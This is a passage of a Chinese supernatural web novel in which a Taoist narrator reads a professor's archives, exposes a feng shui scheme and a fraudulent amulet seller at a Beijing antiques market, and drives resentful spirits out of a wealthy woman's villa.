然而这院子上的风是平的,缓慢的。
陈红敲门,出来迎接的是个老人家,老人家穿着很朴素,慈眉善目的。
“小红啊,你可有一段时间没来了,这位小哥倒是有点眼生呢。”老人家看了我一眼,那眼睛很锐利。
“洪教授,这是我朋友冯宁,是我们黑城本土的道士。”陈红介绍我,又介绍洪教授,“冯宁,这位是历史系研究专家,洪文教授。”
说完,陈红在我耳边小声嘀咕,“老人家这有老多文献资料了。”
看着陈红那样,我有点哭笑不得,但出于尊重,我主动上前握手。
洪文教授瞥了我一眼,倒是没搭理我,而是随口说了句让我们进去喝茶。
陈红有点挂不住面子,小声跟我说,“老人家是历史系权威教授,有点脾气很正常。你不要放在心上。”
我点了点头,也不觉得尴尬。这是人家,突然领来个陌生人,不给面子也很正常。
我说,“有本事的都有脾气。”
陈红点了点头。
土鼠没进来,陈红安排他几句话开车就走了。四合院不小,院中还套着院子,这一路上走得七扭八弯的,好在我们跟着洪文教授来到了最中心的院子。
等进了屋,屋里面的情况也是一样,这是个三层小楼,但那楼梯左拐右拐的,另外棚顶也是别有特色,水泥糊的,不像棚,反而像地面。
对此,我心里大概有了想法,但也没太在意,这就是个风水布局。
洪文教授去泡茶,看到墙上的挂历,我愣了愣。
居然十月中旬了?我记得我们月初来的?半个月没了。
我看向坐在沙发上的陈红,“我们下去了多久?”
陈红想了想,“八天。”
我奇怪,“有这么久吗?我就记得跟张坤僵持了一天,之后就找东西了。”
这下子轮到陈红纳闷呢,她小声的跟我说道,“不对,你算错了。我们在上面等你等了四天。”
我愣住了,“等我等了四天?”
也就是说我在那岩壁上看火把,整整想了四天?
陈红点头,“对,本来咱们是一起上去的,但我们上去以后迟迟不见你的身影。我想你应该有事,所以也没敢问。后来我问了一些来回背东西的,他们说你一直站在入口石壁上一动不动,不知道在干啥。我也不敢打扰你,一等就是四天。”
听了陈红的描述,我眯了眯眼睛,这感觉有点像是坐忘,根本感觉不到时间的流逝。
眼下,我更加确定了当时的一个想法,有东西在引导我的思绪。
让我心生怜悯!
动摇着我的道心!
以至于深陷其中。
若不是我及时从中醒悟过来,恐怕也会遭遇那尸落的情况。这是有东西要留住我呢?还是想传递我什么信号?
还是说!
那古僧的尸体有问题?
“喝茶,特级的普洱,老友送的。”洪教授对陈红很客气,慈眉善目的,像是看自己孙女似的。
对我嘛,有点冷淡,但出于礼貌把我叫了过去。我也不在意,坐下也不说话,默默地喝着。
虽然我不会品茶,但好坏还是能喝出来的,我也不评价,听着两人在那说话。
洪教授先是客套了两句,之后直接问道,“你那最近有啥新的发现吗?”
说这话的时候,他还扫了我一眼。我装作没看见,但这老教授的精明却尽收眼底。
陈红喝了口茶说,“洪教授,我们这次栽了,二十几号人,人都没上来。弄了点玩意,大多数瓶瓶罐罐的,我都看过了,品级不行。”
洪教授眼神有点失落,“哎,你们这行总要有个风险嘛,死点人,也很正常。”
说实话,人有点精明,在我这并不算啥稀奇的事。但他这句话一出来,却让我有点不舒服。
在我眼里,这老教授应该是个学识渊博的,素养和教养极高,甚至我连他的人品和道德都代入到了其中。
但眼下看来,我还是太年轻,哪怕经历了一些不好的事,却还是把人想得太好了。
死了几十号人,在他嘴里那种轻描淡写,这是漠视生命啊。
这也验证了一句话,仗义每多屠狗辈,负心多是读书人。
陈红点了点头,我能看出来她听了这话也很不舒服,但她克制了,反而赔笑,“洪教授,我打算修整一段时间,然后去南方看看。所以,想看看您的文献资料,您看方便吗?”
果然是个精明的女人,嘴里实话不多,忽悠起人来,那是张口就来。
洪教授突然笑道,“当然可以,跟我来吧。”
该说不说,这洪教授的执行力迅速,茶才喝了一口,就把我们带到了后屋。
教授就是教授,他那后屋应该有个八十平大小,数十个书架,上面堆满了书籍和资料,看上去比陆小旺她爷的东西都多。
之后,陈红给我使了个眼色,她跟洪教授聊了起来。我对这女人真的是越来越欣赏了,她这是要把洪教授支开。
我心领神会,一本本地翻着。如今的我毫不夸张地说,一眼一页,过目不忘。时间紧,任务重,来不及细细品味,一本本地快速阅览。
很快,五个小时过去了,但凡能看到的资料和书,全部看了一遍。
然而看得快也有问题,那就是知识需要消化,等陈红叫我吃饭,我反应稍微有点呆板。
“找到需要的了吗?”陈红小声问我。
“嗯。没白来。”有肯定是有,但我需要梳理。
“那,你是不是要奖励我呢。”陈红咬着嘴唇,媚劲十足。
“好,等晚上的,我好好奖励你。”我捏了一把。
这一招很受用,陈红浑身一颤,呼吸都急促了。
老教授亲自下厨,都是些家常便饭,但手艺真的没的说,虽然清淡,却都是可口佳肴。
我跟他没啥话说,陈红他们倒是聊得开,两人前一秒还有说有笑的,后一秒老教授却突然看向我问道,“冯小兄弟,你是道士,那肯定懂墓穴风水。你看我这地方,有点啥说法吗?”
我笑了笑,“老爷子是在考我?”
洪教授说道,“随便聊聊,我看得出来,你很爱读书,要是说得好,我这有一千年前的帛书,缘分送给你。但说好了,你得看得出来。”
这老家伙果然有好东西。
我笑着说道,“洪教授,您这院子是升棺发材布局,风在棺上平稳流动,棺为木,木为材,材为才,才有财。所以叫做升棺发材。但此布局需要至亲做引,才能保佑世世代代顺风顺水顺财神。是吧?”
……
第八十一章一命二运三风水
我面无表情地看向了洪教授,从我进来到现在,这算是我俩第一次正式的交流。
说实话,要不是看在他说有帛书的份上,我就直接敷衍过去了。
倒不是因为这老头傲气,而是无利可图,跟他聊个毛?
听了我的话,洪教授那带有一丝轻视的眼神有所变化,但他倒是没表现太过惊讶,而是认可道,“冯小兄弟果然有本事,凭着一双慧眼就看了我这风水局。不瞒小兄弟,我妻子在十三年前过世了,我的一位朋友是大拿国的风水师,帮我布的这个局。”
我说,“这人是个高手,风水而言无非三种,一地利,地利,天然的风水穴。也是大多数人在寻找的墓穴。二是天时,也就是人本身的精气神便是风水,也就是人们常说的精神力量。三则是人和,人为去改变风向和水的流动。这一点特别难,寻常风水师根本做不到。”
随着修炼的精进,那方士在风水上的记忆也都揭露了一些。但方士对这方面不太精通,只是了解。
倒是结合了陆老爷子的风水书和笔记,有些东西就通顺了,我也就跟着顿悟了不少。
除了风水,还有相术方面有了些显著的提升。
要说刚才洪教授的眼神还有些轻视,眼下却变得尊敬了不少。
我在他的眼睛里看到了一些算计,但他掩饰的还算好,很快又恢复了正常。
“冯小兄弟,不知道你还能看出啥来?”洪教授眯眼笑道。
我心里冷笑,我怀疑这老家伙拿帛书吊着我,但俗话说得好,姜子牙钓鱼愿者上钩。
我就装一装鱼,“所谓一命二运三风水,四积阴德五读书,六名七相八敬神,九交贵人十养生。十一择偶与择业,十二趋吉与避凶,十三逢苦要无怨,十四不固执善恶。阴阳颠倒能改命。升棺发材布局者,家中多为读书得势之人。保的不是你,保的是你的子孙后代。而如此风水,风越平稳,代表着布局的年头越久。如此缓慢而平稳,少说也有二十年了。而这升棺发材布局,最多维持二十三年,最多还有三年,你们家就要走下坡路。甚至,现在就已经走下坡路了。”
说实话,我也是第一次如此认真地说一些关于风水上的事。对不对我不知道,但我觉得说得没错。因为有些东西就是这样传承下来的,我认为没错。
而事实上也是如此,这升棺发材的布局,跟方士的记忆,还有老爷子的笔记记录的一模一样。
再说这老教授的表现,他看似对我漠视,漫不经心地招待,但他看我的眼神总带着一丝侥幸和期待。
原因,就是因为陈红说我是道士。而这个布局只能维持到二十三年,他家后代之人就会开始走下坡路。甚至到不了二十三年,对方道行不够,二十年就开始走下坡路了。
我断定,他急着找人破局。
果然,跟我猜想的差不多,洪教授坐不住了,他扑棱的一下站了起来,随后觉得失态又坐了下去。而因为激动,吃饭的手都有点拿不稳了。
陈红看了看我,又看了看洪教授,她看上去云里雾里的,根本不知道发生了啥事。
“大师。”洪教授的手抖得实在厉害,他干脆放下了碗筷,突然很正式地看向我,连称呼都改了。
不等他开口,我又说道,“教授,这个忙我帮不了你。我懂风水,但并不精通。何况,这是出自大手笔,不动风平浪静,动了,一旦错了,你们家将万劫不复。”
洪教授再也没了之前的淡定,那眼神中闪过一丝失望之色,他强装镇定,“大师,真的没办法了吗?”
我点头,“有,当年给你布风水局之人出手。但我想,他应该帮不上你了。”
我这可不是胡乱说的,风水中大多数都夹杂着人性,要是能帮,对方早就帮了。所以有两种可能,一来那个人已经去世了,第二种嘛,可能性最大的一种,两人决裂了。
至于什么原因我不感兴趣,说这些只是在敷衍,我不想帮他,还想彰显我的本事,最重要的是拿到帛书。
洪教授沉默了,半天没说话,等这顿饭吃完,他转头去了一趟二楼,还真给我拿了一份完整的帛书。
“大师,谢谢你指点迷津。”洪教授倒是不含糊,把一份用玻璃相框裱好的帛书递给了我。
我拿过来看了一眼,帛书已经有些氧化了,但上面的文字还算清晰,整体倒也完整。
只不过这些文字不是汉字,倒像是一种符号。这让我想起了老狗给我的那竹简,两者有点相似,那可是一套阵法。
“大师,这帛书出自唐墓,我研究了十年,却只能解开几个文字。我觉得这东西跟大师有缘,所以送给大师了。”洪教授这话说得大方,但我抬头,他正用一种精明的眼神盯着我。
“我不认识这些文字,希望洪教授帮我解读。”我把帛书递了过去,脸也凑了过去。
不认识?呵呵,我不需要认识。那符号已经印在了我脑子里,反复地跳动。
我已经知道这是啥玩意了,这是一篇道家正统的丹药方子。
洪教授满怀期待的眼神满是失落,我甚至看到了一丝憎恨,但他还是笑脸道,“我只解读到这个和这个,这两个是草药,我猜测,应该是一篇古时候的医药方子。”
它指着两个符号说道。
我说道,“看起来太麻烦了,我也不是研究文字的,我就不要了。”
洪教授愣住了,“不,不要了?”
我心想,我都已经印在脑子里了,要他干啥?接这老家伙的因果?
我点头,“看不懂。”
随后我给陈红使了个眼色,她找了个理由,我们就走了。
出了门,陈红直接找了个地方开房,我洗了个澡,陈红帮我搓地背后,她突然问我,“亲爱的,据我所知,那帛书可是洪教授的珍藏,你咋不要呢。转手卖了,也值不少钱。”
我转过身看向陈红冷漠道,“你觉得他是好心?”
陈红说,“我倒是没感受到恶意,我们合作有些年了,他在我这买东西出钱都很痛快。”
我笑道,“所以你觉得他很善良对吧?”
陈红没说话,这就算是默认了。
我又说道,“升棺发材风水局,需要死人做引,而做引之人,万劫不复,困在局中如欲火焚身般煎熬,永世不得超生。而她妻子十三年前死的,他这局,二十年前布的!”
我冷厉地看向陈红,“你还觉得他好说话吗?还觉得他善良吗?”
……
第八十二章不顺的一天
我把陈红尽收眼底,她神色有些呆滞,嘴唇颤抖的说道,“你,你是说,他跟张坤是一类人。”
我点了点头,“能做出这种狠毒的事,肯定不是个善茬就对了。”
我知道陈红为啥怕,要是不碰到我,她现在就是人皮蜡烛。
陈红沉默了,她突然转过身去拿肥皂,看着那背后的画,我倒是有了些情绪,一把搂住了她的腰。
从黑城到阿旗,又从阿旗一路到帝都,半个月过去了,我这算是正经八百地在酒店休息了两天。
之后,陈红要去联络买家,而我也没打算跟她一起走,所以就分开了。
在分开之前,陈红给我拿了五万块,说让我应急用。说实话,陈红真的很符合一个妻子的定位,贤惠,温柔,懂事。
但我又心里很清楚,她对我的百依百顺,不过是对我本事的认可。两个字就可以解释——慕强。
她那几个手下我又不是没见过,手上沾血的一大把,有钱有势的也不少,但都被她收拾得服服帖帖的。
这种女人只有你比她强,才能征服她。
随着精气神足了,我就跑去古玩街逛了两天,本来想着还能不能弄到神树叶那种好东西的,但结果就是一无所获。
因此我认为自己不是气运之子,要不是因为倒霉被那方士夺舍了八年,我现在恐怕就是东北街头最常见的那种该溜子。
总结一句话,我的运气并不好。
好不容易出来一次,这次我没打算直接回家,买了张电话卡,给家那边的小卖部打了个电话,告诉他们我晚些日子回去。
我娘接的电话,得知我平平安安,她那声音虽然平淡,但我听出了哽咽。
然后我娘告诉我家里接了电话,以后有事直接拨家里电话就行了。
之后就是嘱咐我天冷了,多穿点衣服啥的,问我吃得好不好,住得舒不舒服。
我突然意识到,不管我走多远,我多有钱,是不是个看事的,在我娘这都不在意,她只在意我过得好不好。
这种细腻的感动,哪怕我挂断了电话,却在电话亭站了足足五分钟。
直到有个老头,拿了个瓶盖过来问我,“小伙子,我不认识字,你看,这上面写的啥啊?”
我这才回过神来,顺手帮着看了一眼,“一等奖,十万元。”
说完我随手又把瓶盖递了过去,准备找个地方吃点啥,然后再去古玩街逛一逛。
老头明显愣了一下,跟着他又拉了我一把说道,“啥,小伙子,我没听清,这上面写的是啥?”
见老头又把瓶盖递了过来,我倒是没想太多,也没接那瓶盖,以为老头真的没听清,所以又说了一遍,“上面写着一等奖十万块,你应该中了一等奖吧。”
老头又愣了一下,接着一个年轻人突然走了过来,随后朝着老头说,“大爷,啥瓶盖啊?能让我看看不?”
老头给那个人使眼色道,“这个朋友说我这瓶盖一等奖,中了十万。年轻人,你能带我去兑奖吗?”
那人也愣了一下,但很快说道,“大爷,这瓶盖兑奖得去兑奖中心,手续费要两万块。”
大爷说道,“啥,两万,我也没有啊。小伙子,这可咋办啊!”
那人又说,“大爷,这样吧,我帮你出手续费,到时候你多给我一万。”
随后他翻了翻兜,兜里只有一万块,摊了摊手,“大爷,我就一万块,你看,要不问问这个朋友,到时候你也多给他一万!”
说完,那大爷就冲我来了。
我总觉得这两人有点怪怪的,扯着扯着就扯到了我这,我直接摆手说没钱,然后没再搭理他们,转头朝着古玩街那边了。
随后,我听到身后传来了两人的声音。
其中那年轻人说,“师傅,我们这骗术难道被识破了?”
那大爷说,“不能,我这是最新骗术,从未失手。这小子不着道,应该是很警惕。”
那年轻人说,“那咋办,师傅,你看他那包,少说有几万块。听那语气应该是东北来的,估计是个暴发户找生意的。”
大爷说,“不能让着大鱼跑了,你们哥几个盯着点,骗的不行,那就偷的。”
听到这里我才弄明白,自己这是被骗子给盯上了。至于那老头说的警惕,我根本就没把他们放在心上,哪来的警惕。
但这也给我提了个醒,不要跟陌生人说话,这样能省去很多麻烦。
之前去过的两条古玩街,我这次就没再去了。这边是帝都的丰区,经过打听,我来到了一个桥边文玩市场。
市场门面很大,门口四周停了不少轿车。那些在我们那不常见的车,在帝都真的是随处可见。
再说市场里面,总共就一层,但非常的宽敞,像是一个大市场。只不过人家这卖的古玩和玉石,周围的人很多。
进入市场里面,左面是古玩,右面是玉石,我进去以后从左边绕,看了几家,随后停在了一个卖道器文玩字画的门店。
“朋友,喜欢啥?咱们这都保真。”店面不大,能有个三五平米吧,老板是个中年大叔,个子不高,白头发,挺着个啤酒肚,但相当的热情。
“这是啥?”我指着一个吊坠问。
吊坠是个长方条的木头,通体棕黑,正面是打磨的玻璃,里面装有一道黄符。
我在那黄符上竟然看到了道力。
“朋友好眼力,这些吊坠乃是天师府得道高人所炼制的道器,材料为雷击枣木,经过七七四十九天的炼制,雷击木早已玉化,戴在身上可却邪化凶,鸿运高照。”这老板口才很好。
“额……多少钱?”我内心摇了摇头,修道一年多了,我对道器啥的还算有些研究。这玩意虽然有道力,但对普通人根本没用。
说句不好听的,除了心理安慰,那就是在骗人。
“也不贵,看在朋友远道而来,又如此年轻富有,八万八,把幸运带回家。”老板盯着我,狮子大开口。
卧槽。
我愣住了,我突然觉得今天有点不顺啊,前面被几个骗子盯上了,这会又来了个把我当冤大头的?
我之所以来问问,是因为我第一次见到有道力的道器,想弄清楚怎么制作的。
结果想坑我!
我摇了摇头,对于这种大忽悠有点反感。
见我要走,这老板变脸如翻书,撇了撇嘴讥讽我,“没钱来什么文玩市场,快点滚,别耽误我做生意,你个死穷酸。”
……
第八十三章给你脸了
说完这老板坐在椅子上,翘着个二郎腿,大嘴一撇,把玩着手里的核桃。
那死样子是真特么有点气人。
我皱了皱眉头,老子是修道的,从来不受气。那些什么算了啊,也没多大点事,不会发生在我身上。
有仇,老子当场就报!
对付这种人,你不能上去给他一拳,他乐不得的,说不准就等着你来一拳,然后报警,最后闹得自己赔钱。
所以得玩阴招。
我不急着走,就在他四周转悠,一开始这老板还没当回事,还朝我呲牙,“小子,您特么的看啥啊?怎么着,我骂了您,还敢动我?哼,我不怕告诉您,您动我一下,倾家荡产!”
这老板的帝都腔调很高,看着他在那嘚瑟,我只微微一笑没做声。
他又瞥了我一眼,应该是以为我怕了他,得意地靠在椅子上,闭目养神。
很快,半个多小时过去了,我就在这来回转悠。这下子这老板坐不住了,他语气软了些,“兄弟,你到底要干啥啊?”
我还是不说话。
老板咽了口吐沫,应该也猜到我想干啥,他又软了些,“兄弟,刚才闹着玩呢,和气生财,渴了吧,我这有茶,上好的红茶。”
我没理会他,老子别的不多,就时间多。一来不缺钱,二来没工作,放在现在来讲我自己知道是方士,实际上也是该溜子。
像这种人,他不是犯贱吗?那就在这蹲着搅黄他的生意。
所以他看出了我啥想法,怕我弄他生意。
说来也巧,迎面突然走来了几个人,走在前面的是一对年轻的男女,在他们身后跟着两三个壮汉,看穿着打扮应该都是富贵出身。
“哎呦,罗少爷,稀客啊,稀客。”这老板认出了那青年,起身讨好。说完了还不忘朝我眼神威胁,“你不是要那吊坠嘛,一会我送你一个,别在这乱说话。”
我笑了笑,“不是八万八吗?老板真大方呢。”
我声音不高,但那老板的脸色却突然变了。他威胁我,“小子,你特么要是想死的话,你可以试试!”
“王老板,上次在你那买的道器很有用,这次我带朋友来,也想买一个防身。”那个罗少爷走了过来,他五官不错,长得挺俊朗的,个子尤为突出,比我还高一些,应该有一米九。
外面披着皮草大衣,里面穿了一身西装,这个看上去倒是有点不伦不类了。
“哈哈哈,罗少爷,您来我这就对了。我这些道器,那都是太白山神仙开过光的。敢问,这位小姐遇到啥事了?我也好帮忙找一找相关的道器。”王老板讨好道。
那罗少爷笑了笑,朝着身后的女人看了一眼,女人走到了柜台前。
她五官精美,有着一张绝美的脸蛋,个子高挑,最少一米七二,穿着H版的羽绒服站在那,瞬间就吸引了不少人的目光。
该说不说,我认为眼前的这女人绝对是大美女,因为从她出现,我已经拿她跟黎雅在做对比了。
但两者有些不一样,同样是美女,黎雅平易近人,但眼前这位呢,高冷得有点不食人烟。
而比起这些,我也看到了女人的不寻常,她的脸色很白,面堂微微发黑,这是招惹到了不干净东西的面相。
“大师,最近我总是做同一个梦,我梦到有人掐我脖子,呼吸困难。半夜我会惊醒,大口地喘着粗气。已经快半个月了。”女人看向那王老板,面色冷清的轻声说道。
听着女人的话,我根本没往看事那方向去琢磨,而是觉得,这女人说话的声音真好听,非常符合她这高冷的形象。
“做梦啊。”王老板摸了摸下巴,略微沉思了下,随后在身后的柜台里取出了一块玉佩递了过去,“美女,这是我家祖传的玉佩,我听太爷爷说,玉佩是龙虎山第二十三代的天师亲手制作。里面蕴含无上道法,你戴上三五日,肯定会有所缓解。”
“这……”女人接过了玉佩,但有些怀疑的眼神。
“美女你放心,你是罗少爷介绍来的,我怎能骗人。而且这玉佩价格也不贵,三十八万八,要不是你们来,我肯定不会卖的。因为这是传家宝!”老板一副忍痛割爱的样。
“那,好……”我见女人要答应下来,我突然开口道,“老板,你不会又在忽悠人吧?刚才你说这吊坠八万八卖给我,这美女来了,你又说免费送我,到底值不值钱啊?你不会是个骗子吧?”
我装作愣头青,恰到好处地揭穿他。一听我这样说,那美女和那个罗少爷都看向了我。
老板慌了,急忙跟那美女解释,“美女,您可别听这小子在这瞎嘞嘞,他是看中我的这道器,买不起,所以想坏我名声呢。”
说完这老板用一种想要杀人的眼神看向了我。
“紫怡,我在王老板这买过几次道器了,都很好用,没出过岔子。所以你放心买,肯定有用。倒是这个人,看上去土里土气的,像是从地里钻出来的土包子,不用理会。”罗少爷瞥了我一眼说道。
女人点了点头打算掏钱了。
原本我就是打算找这老板的麻烦,但这个什么罗少爷,说话地针对我,我更不爽了。
“美女,我说的都是真的。而且,我也能证明我说的是真话。”我又补充道,“我还能证明这个老板嘴里面没有一句实话。他一会这个道器来自天师府,一会你的那个道器是太白山做的,要是真有这个本事,还用得着在这摆摊?”
美女犹豫了。
“小子,你特么是不是找死!”那老板破防了。
“哼,哪来的野种,这有你说话的份吗?”那罗少爷面色阴沉道。
“你又算什么东西?在我面前狂?老子给你脸了!”我目光直逼过去。
“艹,你敢对我不敬!”这罗少爷直接冲了过来,抬手朝我一巴掌扇了过去。
我冷笑,他的动作在我眼里太慢了,不等他碰到我,我一脚把他踹倒在地上,半天都没起来。
“安静了不少。”我看了一眼那美女,朝她扬了扬下巴,随手用道力在空中画了一道‘真话符’,催动道力打在了那王老板的身上。
……
第八十四章好人不入庙
女人绣眉轻拧,那高冷的脸上生出一丝警惕,但她没说话,也没有多余的举动,只是静静的看着我。
再看那身后的几个保镖,也都没动,全都用一种灼灼的眼神盯着我。
我明白了,这些都是女人的保镖。
但到底是谁的保镖,我对这个并不感兴趣,而是朝着女人笑了笑,顺手打了个响指。
如今的我实力突飞猛进,‘真话符’这种低级的符咒,已经无需黄纸朱砂了,凭着道力即可生成。
而随着我的响指响过,我看向那老板问道,“我刚才说的是不是真话?”
那王老板浑浑噩噩地点头,“都是真话。”
我眼看着女人愣住了,她脱口而出,“催眠?”
我有点无语,我知道催眠,那是从国外传进来的,但那玩意在我眼里只是一种技巧。
我没理会,又问了那玉佩。
这老板突然说道,“玉佩是我花二十五收的,罗少爷负责找销售,赚了的钱他拿七成,我拿三成。”
女人的脸色突然变了,看着手中的玉佩,冷若冰霜。
说实话,真话符有时候真的不能轻易地用,因为效果真的会很意想不到。上次在哈城的杀人案,这次又弄出个这事。
我也有些意外,这个什么罗少爷,披着貂,穿着西服,那盛气凌人的样,还真看不出来他居然能干出这种事。
“那你刚才说送我个吊坠是不是真的?”我又问。
“假的,我就是想吓唬你,先把女人的钱骗到手,到时候再耍赖。”老板又说道。
我早有预料的笑了笑,顺手拿了个吊坠,朝着美女扬了扬下巴走人了。
随后那老板就醒了,我听到他一个劲道歉的声音,然而那女人却让保镖打了他一顿,听到那狼哭鬼嚎的声音我舒坦了。
我没急着离开文玩市场,来都来了,肯定要好好逛逛。把玩着手里面的吊坠,顺手拆了下来,有一点那老板还真没说错,确实是雷击枣木做的。
枣木,桃木,这种都是灵木,有避邪灵吉的作用。而雷电自身是纯粹的阳力,被雷劈过的枣木,赋有雷力,加上这有着道力的符箓,便做成了这件道器。
但是……
这道器对于普通人没有用,因为这东西需要道力催动才能有用。通俗点说,这玩意是给拥有道力的人准备的,没有道力的人根本无法运转它。
说白了这玩意像是子弹,而道力是枪,拥有道力的人才能开枪射击。
普通人拿着它,那就是摸着子弹射不出去。
我心想,我要是做点能用的道器,会不会很赚钱呢?
正想着呢,突然有人撞了我一下,我皱了皱眉头,意识到了不好。
随后就发现背着钱的包被割开了一条大口子,里面的钱不见了。
被偷了?
我四处观望,周围人又多又杂,眼花缭乱的,根本分辨不出来谁是小偷谁是贼。
我哭笑不得,老子也算是修仙的吧?修仙地被小偷给偷了。
这要是说出去谁信呢?
我也知道是谁干的,就是那个穿军大衣给我看瓶盖的老头他们干的。但就算知道是人家干的,人生地不熟的想找人也很不容易。
之前因为钱来得太容易了,又是在家那一亩半分地,所以我对钱没啥太大的概念,甚至直接把钱就扔在了我那小屋里放着。
现在好了,我总算知道啥叫一分钱难倒英雄汉了。因为包里的钱都被偷了,我现在就算是打个电话都得要钱。
就算不打电话,我去黎雅家的大厦,打车也得要钱,坐公交也得要钱。
眼下钱也没了,也没继续逛下去的理由了。思来想去,我觉得把从老板那拿的吊坠卖了,然后去找黎雅那应急。
风水轮流转,我学着老板那套话术,在文玩市场门口揽客,结果半个小时过去了,来的人都撇了撇嘴,对这什么道器不感兴趣。
“你好。”说来也巧,那个高冷的女人从里面走了出来,这次她身后跟着一个保镖,那个男的没在了。
“有事?”我疑惑。
女人高冷的看着我,点了点头,但她的脸上带着一丝的狐疑,“你是道士吗?”
我本来想摇头的,但我想到了自己的处境,所以也没承认,也没否定地说道,“你是想让我帮你处理你做梦的事吧?”
女人话不多,但点了点头。
我非常直接的说道,“你运气不错,我正好缺钱。二百帮你摆平。”
说实话,老子那会还是年轻了,这女人肯为了一个做梦的事花三十八万八去买一块玉佩,老子居然要她二百?
这跟孙悟空去偷桃,用定身术定住了七仙女,结果只吃桃有啥区别。
但有些事呢,你别说,就是因为这二百块,我被这女人看上了。
当然,这都是些后话。
女人没有丝毫犹豫,拿出二百块递给了我,然后我坐上了她的奔驰,来到了一栋城中心的别墅。
拿人钱财,替人消灾。进了别墅,我就开始四处看。
女人一直在我身旁,保镖则是形影不离地跟在身后。
从外面看,别墅应该是刚建成没多久,别墅里面也是刚装修出来的样子。
我去过几个别墅,能住进这种地方的人,非富即贵,所以基调都是奢华红,包括用的桌椅家具地板什么的,都是以奢华红为主,显得磅礴大气。
但她的这别墅风格不同,完全现代化简约风格,其中还带了一丝温馨的设计。
来到了她的卧室,我说,“你应该不信风水,所以格调什么的,没什么问题。”
她点了点头,“之前找了个风水师也这样说的。”
我看了半天,没看到问题所在,随后我又看向了她,回到别墅之后,这女人换了件毛衣。
我怀疑她是不是毛衣穿反了。
她疑惑,“我身上有问题吗?”
我没回答,而是问她,“那你这些日子去没去过什么地方?”
女人想了想,“我刚回国半年多,别墅也是我新买的,也住了半年了,没去过什么地方。哎,我想起来了,大约两个月前,我经过一座庙,我记得,那庙门口有一口许愿井,我当时朝着下面看了一眼。会跟这个有关系吗?”
我皱了皱眉头,一个可怕的念头生出,我猛地催动道力,双眼用力,“关系大了,有一句话你没听过吗?好人不入庙,好身不入道!何况,你还看了井!”
果然!
这别墅里的情况发生了翻天覆地的变化!
……
第八十五章移炁
随着我的道力充斥在双眼中,我看到了整个房间里到处都是怨气。他们缠绕在房梁上,墙角处,床下,朝着女人龇牙咧嘴。
我眯了眯眼睛,也是第一次经历这种情况,好在怪事见多了,倒是习以为常,没觉得害怕什么的。
“进庙看井,这些有什么关系吗?”云紫怡面容冷清地问我。
“一人不进庙,二人不看井,三人不抱树。在典故里都是危险的事,警告人保持警惕。但在道家的说法中,进庙的人大多数都是带有怨气之人,他们许愿,也就把身上的怨气留在了庙中,这些怨气见到孤零零的人就会跟在你身后,直到怨气散去。”我看了一眼云紫怡,她倒是听得很认真。
我又继续说道,“井,那原本是打水的地方,但凡这井不在用来打水,那就是不在是井了。寺庙外的许愿井,许愿,也就意味着想要消散怨气。你看井,怨气不找你?找谁?”
云紫怡咽了口吐沫,那漂亮的脸蛋有些蜡黄,应该是被我的说法给吓住了。
当然,我并不是在吓唬他,道家确实有这些说法,她这满屋子的怨气也验证了这一点。
云紫怡似乎想要说些话,但我突然想到了什么,转身把门打开了。
我深吸一口气,跟我想的一样,这并不是满屋子的怨气,而是整个别墅都是怨气。连上来的楼梯把手上都爬满了。
再往下走去,从三楼到一楼,各个角落都是。
不过,这些怨气跟三婶娘的那种不一样。他们是人身上的怨气,煞气。因为太多了,连寺庙都净化不了,见到云紫怡就跟了回来。
“怎么了?”云紫怡一直跟在我身后,奇怪地打量我。
“有点麻烦,跟你回来的怨气太多了。”我认真道。
“你能看见他们?”云紫怡疑惑。
我没说话。
倒是一旁的保镖突然说道,“云小姐,最近北方出现了不少打着风水旗号行骗的人,您小心点。”
云紫怡看了保镖一眼,点了点头,看上去理智了不少。
我皱了皱眉头,不喜欢那保镖的眼神,我说,“你的意思是我为了二百块骗人?”
保镖挺直了身子,倒是傲气道,“不是没这个可能。我曾是一名雇佣兵,亲手解决了敌方。如今我活的还是好好的?”
说完这些,那保镖傲气地看了一眼云紫怡,脸上的得意之色难以掩饰。
我眯了眯眼睛,说来说去,原来是想踩着我,在这云紫怡面前彰显自己的本事呢?
说实话,我对我自己都不够了解。有时候有点吃软不吃硬,有时候软硬不吃。
之前对于这种装逼的,我直接视而不见。但眼下,我拿人钱财了,他却跳出来找我麻烦,不好意思,这种人我绝不惯着。
“你叫啥。”我问他。
“刘波。”他轻蔑地看着我。
“好,你身体素质不错?”我又问。
“一直很好,已经六七年了,连感冒发烧都没有。这都是我锻炼的结果。你问这些做什么?”刘波瞥了我一眼。
“没啥。”我转头看向了云紫怡笑道,“云小姐,我倒是想到了一个办法。但需要这位保镖,不,这位刘波雇佣兵来配合。”
闻言,那刘波脸色有些不好看,他不想被我使唤。但我不在意,因为话语权不在他这。
“好。”
见云紫怡点头,我先是对房间做了简单的布置,然后我揪了云紫怡的一根头发,把道力注入到其中,附在了刘波的身上。
现在刘波身上自己的气息被掩盖,全都是云紫怡的气息。果然,在我做完这些之后,那些怨气左顾右盼,对刘波和云紫怡都感兴趣。
随后,我又在云紫怡身上打了一道力掩盖住了她身上的气息,这下子,那些怨气全都盯着刘波了。
在道门的学问中,这叫做‘移炁’。说来也是巧合,这是在洪教授的文献资料中找到的法子。
像云紫怡这种情况,在古时候倒是很常见。古代皇上震怒,杀了臣子九族,那怨气比这大多了。而他们住过的宅子,也就成了凶宅。
而新入住的主人会让奴隶们先住进去。
目的就是把让奴隶们吸收这些怨气,等吸得差不多了,怨气散了,主人在住进去。
这玩意后面我还有些心得呢,有点像绿萝除甲醛。
‘移炁’之后,我又看向了那刘波说道,“你说一句,今晚帮他们如愿。”
刘波皱了皱眉头,看上去有点不情愿,但还是说道,“哼,装神弄鬼。今晚帮你们如愿!说了,怎么地?”
我没理他,而是看向了那一团团怨气。
唰唰唰!
那些怨气们眼神突然都变了,一个个像是打了鸡血似的,死死盯着刘波。
“好了,云小姐,我们明天再回来,应该能好不少。”
事情没处理完,我当然不能走,那刘波留在了别墅,很快又来了个女保镖,我们住在了附近的酒店。
第二天一早,在酒店吃了早餐,我们就赶回了别墅。
门口我问她,“昨晚是不是没在做梦?”
云紫怡惊讶,“还真是?难道真的是我那别墅有问题?”
我说,“是你的问题,你把怨气带到了别墅,他们原本是寺庙和井里的怨气,没地方可以去,所以在别墅安了家。这种东西跟人的作息完全相反,白天休养生息,在阴暗的地方滋养。晚上找你还愿。但你哪里懂还愿这种事,久而久之,它们就折腾你。之所以能睡好,是因为我掩盖了你的气息,我又把你的气移到了你保镖身上,他应该睡不好了。”
云紫怡看了看我,面色冷清,“你的意思,那个保镖会遭殃?”
我笑道,“差不多,但他精壮,应该能留下半条命吧。”
